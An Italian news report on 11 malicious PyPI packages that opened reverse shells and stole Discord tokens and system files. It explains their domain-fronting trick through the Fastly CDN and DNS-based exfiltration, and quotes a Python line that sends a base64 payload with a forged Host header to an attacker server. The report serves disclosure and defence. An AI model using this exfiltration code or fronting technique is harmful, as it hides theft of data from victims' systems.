Nel catalogo PyPI (Python Package Index) sono stati identificati 11 pacchetti contenenti codice dannoso. Prima della scoperta dei problemi, questi pacchetti erano stati scaricati circa 38.000 volte. I pacchetti dannosi identificati si distinguono per l'uso di metodi elaborati per nascondere i canali di comunicazione con i server degli aggressori.
- importantpackage (6305 download), important-package (12897) — stabilendo una connessione con un server esterno spacciandosi per una connessione a pypi.python.org per fornire accesso shell al sistema (reverse shell) e utilizzando il programma trevorc2 per nascondere il canale di comunicazione.
- pptest (10001), ipboards (946) — utilizzavano il DNS come canale di comunicazione per trasmettere informazioni di sistema (nel primo pacchetto, nome host, directory di lavoro, IP interno ed esterno; nel secondo — nome utente e host).
- owlmoon (3285), DiscordSafety (557), yiffparty (1859) — identificavano il token del servizio Discord nel sistema e lo inviavano a un host esterno.
- trrfab (287) — inviava a un host esterno l'ID, il nome host e il contenuto di /etc/passwd, /etc/hosts, /home.
- 10Cent10 (490) — stabiliva una reverse shell con un host esterno.
- yandex-yt (4183) — mostrava un messaggio di compromissione del sistema e reindirizzava a una pagina con ulteriori dettagli sui passi successivi, fornita tramite nda.ya.ru (api.ya.cc).
Un'attenzione particolare merita il metodo di accesso agli host esterni utilizzato nei pacchetti importantpackage e important-package, che hanno utilizzato la rete di distribuzione dei contenuti Fastly per nascondere la loro attività nel catalogo PyPI. In effetti, le richieste venivano inviate al server pypi.python.org (incluso, specificando il nome python.org nel SNI all'interno della richiesta HTTPS), ma nel campo dell'intestazione HTTP "Host" veniva impostato il nome di un server controllato dagli attaccanti (sec.forward.io.global.prod.fastly.net). La rete di distribuzione dei contenuti indirizzava tale richiesta al server degli attaccanti, utilizzando i parametri della connessione TLS con pypi.python.org.
Il funzionamento dell'infrastruttura PyPI è supportato dalla rete di distribuzione dei contenuti Fastly, in cui per la memorizzazione nella cache delle richieste tipiche viene utilizzato un proxy trasparente Varnish, e viene effettuata la gestione dei certificati TLS a livello di CDN, anziché sui server finali, per permettere il passaggio delle richieste HTTPS attraverso il proxy. Indipendentemente dall'host di destinazione, le richieste vengono inviate al proxy, che determina l'host corretto in base all'intestazione HTTP "Host", e i nomi di dominio gli host vengono associati agli indirizzi IP dei bilanciatori di carico CDN standard per tutti i clienti di Fastly.
Il server degli attaccanti è anche registrato nella CDN Fastly, che offre piani tariffari gratuiti a chiunque sia interessato e permette anche registrazioni anonime. È interessante notare che, per inviare richieste alla vittima durante la creazione di una "reverse shell", viene utilizzato lo stesso schema, ma avviato dal lato degli host malintenzionati. L'interazione con il server degli attaccanti appare come una sessione legittima con il catalogo PyPI, crittografata utilizzando certificato TLS PyPI. Questa tecnica, nota con il nome di "domain fronting", veniva in passato utilizzata attivamente per nascondere il nome dell'host durante il superamento dei blocchi, sfruttando la possibilità offerta da alcune CDN di connettersi tramite HTTPS specificando un host fittizio nel SNI e trasmettendo effettivamente il nome dell'host richiesto nell'intestazione HTTP Host all'interno della sessione TLS.

Per nascondere l'attività malevola, è stato utilizzato anche il pacchetto TrevorC2, che rendeva l'interazione con il server simile alla normale navigazione web; ad esempio, le richieste malevole venivano inviate fingendosi un caricamento di immagine "https://pypi.python.org/images/guid=" codificando le informazioni nel parametro guid. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})
Nei pacchetti pptest e ipboards è stato adottato un approccio diverso per nascondere l'attività di rete, basato sulla codifica delle informazioni utili nelle richieste ai server DNS. Il malware trasmette informazioni effettuando richieste DNS del tipo "nu4timjagq4fimbuhe.example.com", in cui i dati inviati al server di comando sono codificati nel formato base64 nel nome del sottodominio. L'attaccante riceve i dati controllando il server DNS per il dominio example.com.
Fonte: opennet.ru
